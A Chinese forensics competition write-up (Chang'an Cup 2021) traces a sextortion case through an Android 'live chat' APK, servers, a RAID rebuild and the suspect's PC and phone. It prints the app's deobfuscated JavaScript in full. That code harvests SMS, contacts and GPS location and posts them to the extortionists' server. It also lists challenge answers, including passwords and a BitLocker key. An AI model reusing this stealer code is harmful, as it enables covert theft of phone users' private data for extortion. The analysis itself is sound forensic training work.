March 2, 2023

长安杯2021-WP

第一部分

案情简介:
2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元。经询问,昨日金某被嫌疑人诱导裸聊,下载了某“裸聊”软件,导致自己的通讯录和裸聊视频被嫌疑人获取,对其进行敲诈,最终金某不堪重负,选择了报警。警方从金某提供的本人手机中,定向采集到了该“裸聊”软件的安装包—zhibo.apk(检材一)。请对检材一进行分析,获取证据,并根据线索解锁更多检材,深入挖掘出更多与案件有关的信息。

(题目 中需要通过分析出来的答案对检材二三四五解压,解压密码为IP的情况,需要在密码后增加-CAB2021,例: 192.168.100.100-CAB2021)

检查哈希值:

1
2
3
4
5
6
7
8
检材一&二:206f967d6c7ae8477a849e7a7eeedc5e

检材三:99989bdb5720a41f412cd91d2ad76ea1

检材四:d8a7554372f4dc1028c4d2379268f701

检材五:a2ae74451931ea5b010d2df2a4abcb98

本次题目采用VeraCrypt加密容器发放,用VeraCrypt将检材解密,然后挂载,然后我们就得到了一个apk文件和一个检材二的压缩包。

容器密码:2021第三届CAB-changancup.com
该文件的哈希校验值(MD5)如下:

1
2
3
4
5
6
7
8
检材一&二:206f967d6c7ae8477a849e7a7eeedc5e

检材三:99989bdb5720a41f412cd91d2ad76ea1

检材四:d8a7554372f4dc1028c4d2379268f701

检材五:a2ae74451931ea5b010d2df2a4abcb98

用VeraCrypt将检材解密:

image.png
密码就是上面的

第一题 请计算检材一Apk的SHA256值

windows自带检测工具:
certutil -hashfile 检材一-zhibo.apk sha256image.png
送分题

第二题 该APK的应用包名为

这边使用一个软件:apkmessager
https://blog.csdn.net/menglong0329/article/details/108078093
image.png
看得到包名:plus.H5B8E45D3

第三题该APK程序在封装服务商的应用唯一标识(APPID)为

其实上一题的后缀就是了H5B8E45D3,这个我们用雷电APP取证分析:
image.png
也可以看到调证值

第四题 该APK具备下列哪些危险权限(多选题):

雷电APP智能分析也给我们分析了,狠!
image.png
A.读取短信 B.读取通讯录 C.读取精确位置 D.修改通讯录 E.修改短信

第五题 该APK发送回后台服务器的数据包含一下哪些内容(多选题):

A.手机通讯录 C.手机号码 D.验证码 E.GPS定位信息
安装JADX模拟工具:https://www.jianshu.com/p/81a9ac1b75f3
然后用雷电模拟器去打开这个apk,发现首页是:
image.png
在JADX中直接搜索:
image.png
往下翻会发现:
image.png
解密后:https://ctf.bugku.com/tool/sojson4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
/*
*Aman - 194nb.com
*/
/*
*Progcessed By JSDec in 0.00s
*JSDec - JSDec.js.org
*/
mui.init();

mui.plusReady(function () {
//var main = plus.android.runtimeMainActivity();
// main.moveTaskToBack(false);

var address = plus.device.vendor + '-' + plus.device.model;
address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
var apiserver = 'http://www.honglian7001.com/api/uploads/';
//重复数据处理 预防用户重复点击
var danjishijian = true;
function requestPermission(sjh, yqm) {
plus.android.requestPermissions(
["android.permission.READ_SMS"],
function (resultObj) {
//SmsInfo存放一条短信的各项内容
var SmsInfo = {}
//Sms存放所有短信
var Sms = {}

var aimei = sjh;
var aimei2 = yqm;
var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
var Cursor = plus.android.importClass("android.database.Cursor")
var Uri = plus.android.importClass("android.net.Uri")   //注意啦,android.net.Uri中的net是小写
var activity = plus.android.runtimeMainActivity()
var uri = Uri.parse("content://sms/");

var projection = new Array("_id", "address", "person", "body", "date", "type")
var cusor = activity.managedQuery(uri, projection, null, null, "date desc")
var idColumn = cusor.getColumnIndex("_id")
var nameColumn = cusor.getColumnIndex("person")
var phoneNumberColumn = cusor.getColumnIndex("address")
var smsbodyColumn = cusor.getColumnIndex("body")
var dateColumn = cusor.getColumnIndex("date")
var typeColumn = cusor.getColumnIndex("type")
if (cusor != null) {
while (cusor.moveToNext()) {
SmsInfo.id = cusor.getString(idColumn)
SmsInfo.Name = cusor.getInt(nameColumn)
SmsInfo.Date = cusor.getLong(dateColumn)
SmsInfo.Date = getFormatDate(SmsInfo.Date)
SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn)
SmsInfo.Smsbody = cusor.getString(smsbodyColumn)
SmsInfo.Type = cusor.getString(typeColumn)

var post = JSON.stringify(SmsInfo);
//console.log(post);
duanxin = duanxin + ',' + post;

}
duanxin = duanxin + ']';
//alert(duanxin);

mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
mui.toast('获取成功')
//console.log(con)


},
error: function (xhr, type, errorThrown) {
//异常处理;

}
});
cusor.close()
}

},
function (error) {
console.log('申请权限错误:' + error.code + " = " + error.message);
});
}



//扩展Date功能:将long型日期转换为特定的格式
Date.prototype.format = function (format) {
var o = {
"M+": this.getMonth() + 1,
"d+": this.getDate(),
"h+": this.getHours(),
"m+": this.getMinutes(),
"s+": this.getSeconds(),
"q+": Math.floor((this.getMonth() + 3) / 3),
"S": this.getMilliseconds()
}
if (/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
}
for (var k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
}


//将long型日期转换为特定格式
function getFormatDate(l, pattern) {
date = new Date(l);
if (pattern == undefined) {
pattern = "yyyy-MM-dd hh:mm:ss";
}
return date.format(pattern);
}


//alert(plus.device.uuid)
plus.navigator.setStatusBarBackground("#db6eff");

mui("body").off("tap");

mui("body").on('tap', '#tx', function (event) {

$('#tx').hide();
$('#zz').show();
});

mui("body").on('tap', '#gb', function (event) {

$('#tx').show();
$('#zz').hide();
});

mui("body").on('tap', '#qd', function (event) {
if (danjishijian) {
danjishijian = false;
aa()
} else {
aa()
}

});


function getPermission(permissionIdentity, successCallBack, errorCallBack) {
//权限标识转换成大写
var permissionIdentity = permissionIdentity.toUpperCase();
//获取检测权限的状态
var checkResult = plus.navigator.checkPermission(permissionIdentity);
//权限状态是否正常
var permissionStatusOk = false;
//权限中文名称
var permissionName = '';
//对应 andorid 的具体权限
var androidPermission = '';
//获取权限中文意思与对应 android 系统的权限字符串
switch (permissionIdentity) {

case 'CONTACTS':
permissionName = '系统联系人';
androidPermission = 'android.permission.READ_CONTACTS'
break;

default:
permissionName = '未知';
androidPermission = '未知';
break;
}

//判断检查权限的结果
switch (checkResult) {
case 'authorized':
//正常的
permissionStatusOk = true
break;
case 'denied':
//表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框
//如果有该权限但是没有打开不进行操作还是会去申请或手动打开
// console.log('已关闭' + permissionName + '权限')
// errorCallBack('已关闭' + permissionName + '权限');
// return
break;
case 'undetermined':
// 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认
// this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)
// errorCallBack('未确定' + permissionName + '权限');
// return
break;
case 'unknown':
errorCallBack('无法查询' + permissionName + '权限');
return
break;
default:
errorCallBack('不支持' + permissionName + '权限');
return
break;
}

//如果权限是正常的执行成功回调
if (permissionStatusOk) {
successCallBack()
} else {
//如果不正常,如果是 andorid 系统,就动态申请权限
if (plus.os.name == 'Android') {
//动态申请权限
plus.android.requestPermissions([androidPermission], function (e) {
if (e.deniedAlways.length > 0) {
//权限被永久拒绝
// 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Always Denied!!! ' + e.deniedAlways.toString());
}
if (e.deniedPresent.length > 0) {
//权限被临时拒绝
// 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Present Denied!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) {
//权限被允许
//调用依赖获取定位权限的代码
successCallBack()
// console.log('Granted!!! ' + e.granted.toString());
}
}, function (e) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Request Permissions error:' + JSON.stringify(e));
})
} else if (plus.os.name == 'iOS') {
//ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera
//这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会
//走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。
if (checkResult == 'undetermined') {
//调用依赖获取定位权限的代码
successCallBack(true)
} else {
//如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开
mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'], function (e) {
//取消
if (e.index == 0) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
} else if (e.index == 1) {
//确认,打开当前应用权限设置页面
var UIApplication = plus.ios.import('UIApplication');
var application2 = UIApplication.sharedApplication();
var NSURL2 = plus.ios.import('NSURL');
// var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");
var setting2 = NSURL2.URLWithString('app-settings:');
application2.openURL(setting2);

plus.ios.deleteObject(setting2);
plus.ios.deleteObject(NSURL2);
plus.ios.deleteObject(application2)
}
}, 'div')
}
}
}
}



function aa() {
var sjh = $('#sjh').val();
var yqm = $('#yqm').val();
if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {

getPermission('CONTACTS', function () {
huoqu(sjh, yqm);

}, function (msg) {
mui.alert(msg, '提醒', '确定', function () { }, 'div')
//aa()
})
}
else {
mui.toast('请输入正确的手机号和邀请码')
}

}




function dingwei(sjh, yqm) {
plus.geolocation.getCurrentPosition(translatePoint, function (e) {
mui.toast("异常:" + e.message);
});
}

function translatePoint(position) {

var sjh = $('#sjh').val()
var yqm = $('#yqm').val()
var currentLon = position.coords.longitude;
var currentLat = position.coords.latitude;
var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
mui.ajax(apiserver + 'apimap', {
data: {
data: jingweidu
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {

if (data == '获取成功') {
requestPermission(sjh, yqm);

//setInterval(function(){
//var sjh=$('#sjh').val();
//var yqm=$('#yqm').val();
//requestPermission(sjh,yqm);
//console.log('send')

//},30000)
}

mui.toast(data)
},
error: function (xhr, type, errorThrown) {
//异常处理;


}
});

//书写自己的逻辑

}
// 扩展API加载完毕,现在可以正常调用扩展API

function huoqu(sjh, yqm) {
var con = sjh + "**" + yqm + '**' + address;


plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {


addressbook.find(["displayName", "phoneNumbers"], function (contacts) {


for (var i = 0, len = contacts.length; i < len; i++) {
con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value);
}





mui.ajax(apiserver + 'api', {
data: {
data: con
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
//alert(data)
if (data == '正在加载列表') {
dingwei(sjh, yqm);
mui.openWindow({
url: 'list.html',
show: {
autoShow: true
}
});
} else {
mui.toast(data)
}
//console.log(con)
},
error: function (xhr, type, errorThrown) {
//异常处理;


}
});



}, function () {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
}, {
multiple: true
});
}, function (e) {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
});
}




});

在这发现有GPS
之后再安装FIddler,
跟着上面的网址配置,就可以抓手机的包了:
image.png
在这里可以看到手机号,验证码,然后在刚刚下载完软件,可以发现会要我们的通讯录信息
image.png
所以确认答案ACDE

第六题 该APK程序回传通讯录时,使用的http请求方式为

在解第五题就知道了,是POST:
image.png

第七题该APK程序的回传地址域名为【标准格式:www.abc.com

也是上一题里的:
www.honglian7001.com

第八题 该APK程序代码中配置的变量apiserver的值为(后面不带/)

在第五题的sojosn.v4中可以看见:
image.png

第九题 分析该APK,发现该程序还具备获取短信回传到后台的功能,短信上传服务器接口地址为【标 准格式:www.abc.com/abc

也是第五题的json代码中可以看见
image.png
答案是www.honglian7001.com/api/uploads/apisms

第十题 经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该文件的文件名为

image.png
雷电云的frida脚本可以看到,名字是test.db

第十一题 经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该数据库的初始密码为

image.png
上一题也有

第二部分

检材2的解压密码就是第七题的答案
image.png
先用取证分析再点仿真

第十二题 检材二的原始硬盘的SHA256值为

image.png
软件内有

第十三题 查询涉案于案发时间段内登陆服务器的IP地址为

用火眼仿真去登录虚拟机,先切换至root
su root,密码就是123456我们重置的
再用last命令用于显示用户最近登录信息:
image.png
从题目可以知道,是8.24报的警,所以ip为: 192.168.110.203

第十四题 请对检材二进行分析,并回答该服务器在集群中承担的主要作用是()【格式:文件存储】

通过访问历史指令,可以发现,有一个目录经常访问:
image.png
我们访问看看:
image.png
没啥东西,上级目录看看:
image.png
这边发现了一个配置文件:chronusNode/controller/ADProxy.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
/**
* 反向代理
*
*/
module.exports = function(_brain, _app) {
/* INCLUDE */
const path = _brain.A.path;
const async = _brain.A.async;
const proxy = require('http-proxy-middleware');
const net = require('net');
/* DEFINE */
const _tag = path.basename(__filename, ".js");
var _isBanned = false;
var _isStarted = false;
if(!_brain.A.checkIsNull(_brain.C.autorun_config[_tag], _tag)){
_isStarted = _brain.C.autorun_config[_tag];
}
/* DEFINE PROXY */
const _proxy50 = {
protocol: 'http:',
host: '192.168.110.111',
port: 80
}
const _proxy100 = {
protocol: 'http:',
host: '192.168.110.112',
port: 80
}
const _proxy100p = {
protocol: 'http:',
host: '192.168.110.113',
port: 80
}
/* Private Function */
/**
* Service Running
*/
var service = function (){
if(!_isStarted) return;
// proxy middleware options
const _proxyer_chronus = proxy({
target: '/', // target host
changeOrigin: true, // needed for virtual hosted sites
ws: true, // proxy websockets
router: function(req) {
var clientIP = req.get("x-forwarded-for")
if (clientIP == undefined) {
clientIP = req.connection.remoteAddress
}
var clientIPArr = clientIP.split(".")
if (clientIPArr.length == 4) {
var clientIP3Int = parseInt(clientIPArr[2])
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);
if (clientIP3Int <= 50) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
return _proxy50
} else if (clientIP3Int <= 100) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100));
return _proxy100
} else {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100p));
return _proxy100p
}
}
}
})

_app.all('/*', _proxyer_chronus);
};

/**
* Service Killing
*/
var serviceKiller = function (){
};


/* Public Function */
/* 返回_tag */
var getTag = function (){
return _tag;
};
/* 判断服务是否开启 */
var isStarted = function (){
return _isStarted;
};
/* 判断服务是否被意外禁止 */
var isBanned = function (){
return _isBanned;
};

/* 服务开关 */
var startServer = function (callBack){
_isStarted = true;
service();
if(callBack)
callBack(100, _tag + ' Started');
};

var stopServer = function (callBack){
_isStarted = false;
serviceKiller();
if(callBack)
callBack(100, _tag + ' Stopped');
};

/* Service AutoRun */
if(_isStarted){
startServer();
}else{
stopServer();
}

return{
getTag : getTag,
isStarted : isStarted,
isBanned : isBanned,
startServer : startServer,
stopServer : stopServer,
};
}

不难发现是负载均衡

15 上一题中,提到的主要功能对应的服务监听的端口为:(80)

image.png
可以再readme里另一个文件发现

16 上一题中,提到的服务所使用的启动命令为:(node app.js)

在系统指令里,可以发现:
image.png
不难知道是app.js

17 经分析,该服务对于请求来源IP的处理依据是:根据请求源IP地址的第(3)位进行判断【标准格式:9】

image.png
可以发现是第三位

第十八题 经分析,当判断条件小于50时,服务器会将请求转发到IP为()的服务器上【标准格式:111.111.111.111】

从配置文件可以看到是192.168.110.111

第十九题 分析,该服务器转发的目标服务器共有台【标准格式:9】

从配置文件也知道是3台

第二十题 请分析,受害者通讯录被获取时,其设备IP地址为

根据时间可以知道是4-24号被骗的,日志只有一个
image.png
image.png
可以发现ip为192.168.110.252

第二十一题 请分析,受害者通讯录被获取后,经由该服务器转发到了IP为()的服务器上

也可以在日志文件里发现:
image.png
192.168.110.113

第三部分

第三部分的检材密码就是第二部分里的192.168.110.113-CAB2021

image.png
3个检材,全部拖入火眼分析image.png
发现WEB3是192.168.110.113,这就是我们上一部分中诈骗者的IP,所以我们来分析这个镜像文件

第二十二题 检材三的原始硬盘的SHA256值为:

205C1120874CE0E24ABFB3BB1525ACF330E05111E4AD1D323F3DEE59265306BF
image.png

第二十三题 请分析第21题中,所指的服务器的开机密码为:

这个在第四部分析检材4
honglian7001

第二十四题 嫌疑人架设网站使用了宝塔面板,请问面板的登陆用户名为:

image.png
其实这边honglian的分析已经给你找出来了hl123
也可以手动找,输入bt 5
image.png
为什么会乱码呢,我不知道,正常显示的是:
image.png
后来发现xshell直连即可拉:
image.png
image.png.

第二十五题 请分析用于重置宝塔面板密码的函数名为

宝塔面板重置网站密码功能调用的是tools.py
(由老版本宝塔充值密码命令可知:cd /www/server/panel && python tools.py panel testpasswd)
访问tools.py:
image.png
可以看到函数名是set_panel_pwd()

第二十六题 请分析宝塔面板登陆密码的加密方式所使用的哈希算法为

image.png
可以看到是md5

第二十七题 请分析宝塔面板对于其获认用户的密码一共执行了儿次上题中的哈希算法

image.png
加上这里2次就是3次了

第二十八题 请分析当前宝塔面板在加密过程中使用的salt值为【区分大小写】

这边其实取证大师里已经有了
image.png

第二十九题 请分析该服务器,网站源代码所在的绝对路径为

image.png
** **/www/wwwroot/www.honglian7001

第三十题 请分析,网站所使用的数据库位于IP为()的服务器上,请使用该IP解压检材5,并重构网站

image.png
ip为192.168.110.115

第三十一题 请分析数据库的登陆密码为

image.png

第三十二题 请尝试重构该网站,并指出,该网站的后台管理界面的入口为【标准格式:/web】

这题使用软件:FKT Image,R-Studio
FKT去挂载dd镜像文件,R-Studio去进行重组,重组后才能继续做题(卡了我好久啊)
这道题本身不难,raid重组我感觉很麻烦,很慢
admin界面测试一下就知道是/admin

第三十三题 .已该涉案网站代码中对登录用户的密码做了加密处理。请找出加密算法中的salt值【区分大小写】

image.png
salt很明显是:lshi4AsSUrUOwWV

第三十四题 请分析该网站的管理员用户的密码为

在宝塔面板中的日志文件可以找到:
根据日期很快即可锁定,然后再搜索一下即可
/www/wwwroot/www.honglian71/runtime/log/24.log
image.png

第三十五题 在对后台账号的密码加密处理过程中,后台一共计算几次哈希值

image.png
看得到3个md5所以是三次md5加密

第三十六题 请统计,后台中,一共有多少条设备记录

image.png可以看到为6002条设备信息记录

第三十七题 请通过后台确认,本案中受害者的手机号码为

在检材二我们知道是在2021-4-24 6:37左右上传了通讯录,精确到负载均衡服务器,也就是utc时区
对应就是14.37

image.png

第三十八题 请分析,本案中受害者的通讯录一共有多少条记录

image.png
搜索一下发现34条记录

第四部分

192.168.110.203-CAB2021

第三十九 请计算检材四-PC的原始硬盘的SHA256值

用火眼分析一眼丁真
image.png
E9ABE6C8A51A633F809A3B9FE5CE80574AED133BC165B5E1B93109901BB94C2B

第四十题 请分析,检材四-PC的Bitlocker加密分区的解密密钥为

可以用取证大师直接分析出来,也可以在未加密的区域找到:
image.png
511126-518936-161612-135234-698357-082929-144705-622578

第四十一题 请分析,检材四-PC的开机密码为

image.png
12306

第四十二题、经分析发现,检材四-PC时嫌疑人用于管理服务器的设备,其主要通过哪个浏览器控制网站后台

image.png
义眼Google

第四十三题 请计算PC检材中用户目录下的zip文件的sha256值

image.png

0DD2C00C8C6DBDEA123373F91A3234D2F07D958355F6CD7126E397E12E8ADBB3

第四十四题 请分析检材四-phone,该手机的IMEI号为

火眼丁真鉴定为容易
image.png

第四十五题 请分析检材四-phone,嫌疑人和本案受害者是通过什么软件开始接触的

火眼丁真鉴定为依对
image.png

第四十六题 请分析检材四-phone,受害者下载恶意APK安装包的地址为

image.pnghttps://cowtransfer.com/s/a6b28b4818904c

第四十七题 请分析检材四-phone,受害者的微信内部ID号为

wxid_op8i06j0aano22
image.png

第四十八题 请分析检材四-phone,嫌疑人用于敲诈本案受害者的QQ账号为

image.png
1649840939

第四十九题 请综合分析,嫌疑人用于管理敲诈对象的容器文件的SHA256值为

image.png
把vmdx文件拖进去之后可以识别出,进入一下看看:

image.png
在快速访问中发现了小白鼠,也就数我们的容器文件,在火眼分析里计算一波!
image.png
9C4BE29EB5661E6EDD88A364ECC6EF004C15D61B08BD7DD0A393340180F15608

第五十题 请综合分析嫌疑人检材,另外一受害者“郭先生”的手机号码为

这边需要做个小操作,我们在win10可以发现这两个文件:(快速访问)

image.png
image.png
小白鼠是我们要用VeryCrypt去挂载小白鼠,key就是密钥文件
手机号为15266668888

第五十一题 通过嫌疑人检材,其中记录了几位受害者的信息

image.png
五位!

第五十二题 请使用第11题的密码解压“金先生转账.zip”文件,并对压缩包中的文件计算SHA256值

image.png
密码是c74d97b01eae257e44aa9d5bade97baf
用win10自带的工具去计算
image.png

1
2
3
4
E:\2021ChanganCup>certutil -hashfile 金先生转账.jpg SHA256
SHA256 的 金先生转账.jpg 哈希:
cd62a83690a53e5b441838bc55ab83be92ff5ed26ec646d43911f119c15df510
CertUtil: -hashfile 命令成功完成。

53、请综合分析,受害者一共被嫌疑人敲诈了多少钱(转账截图被隐藏在

多个地方)

微信 2K
image.png
QQ中敲诈600
image.png
依对中敲诈1k
image.png
52题中的图片2k
image.png最后在数据库里1K
image.png
一共6600元

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp